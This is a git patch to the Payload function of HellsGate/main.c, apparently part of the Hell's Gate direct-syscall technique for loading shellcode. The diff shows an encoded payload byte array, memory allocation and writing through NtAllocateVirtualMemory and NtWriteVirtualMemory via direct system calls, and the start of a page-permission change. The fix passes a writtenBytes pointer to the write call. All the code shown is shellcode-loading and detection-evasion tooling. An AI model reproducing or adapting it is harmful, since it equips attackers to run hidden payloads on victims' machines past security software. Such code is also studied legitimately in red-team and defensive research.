From ebe05eafd5ed466a6bb944b88ab422725a61d4f5 Mon Sep 17 00:00:00 2001 From: Thanasis Tserpelis Date: Tue, 25 Jan 2022 22:54:28 +0200 Subject: [PATCH] Update main.c --- HellsGate/main.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/HellsGate/main.c b/HellsGate/main.c index cbc0ede..2b9be50 100644 --- a/HellsGate/main.c +++ b/HellsGate/main.c @@ -243,15 +243,14 @@ BOOL Payload(PVX_TABLE pVxTable) { 0xca ,0xd0 ,0x69 ,0xf9 ,0xb3 ,0x11 ,0x18 ,0xc4 ,0x1f ,0x82 ,0x93 ,0x31 ,0xa7 ,0xff ,0x1a, 0x0b ,0x50 ,0x72 ,0xb3 ,0x13 ,0xbc ,0x02 ,0xdc ,0x98 ,0x77 ,0x36 ,0x2d ,0x86 ,0x6f ,0x4f,}; - unsigned int payload_len = sizeof(payload); NTSTATUS status = 0x00000000; PVOID lpAddress = NULL; SIZE_T sDataSize = sizeof(payload); HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall); status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE); - + ULONG writtenBytes = 0; HellsGate(pVxTable->NtWriteVirtualMemory.wSystemCall); - status = HellDescent((HANDLE)-1, lpAddress, payload, sizeof(payload), 0); + status = HellDescent((HANDLE)-1, lpAddress, payload, sizeof(payload), &writtenBytes); //VxMoveMemory(lpAddress, payload, sizeof(payload)); // Change page permissions ULONG ulOldProtect = 0;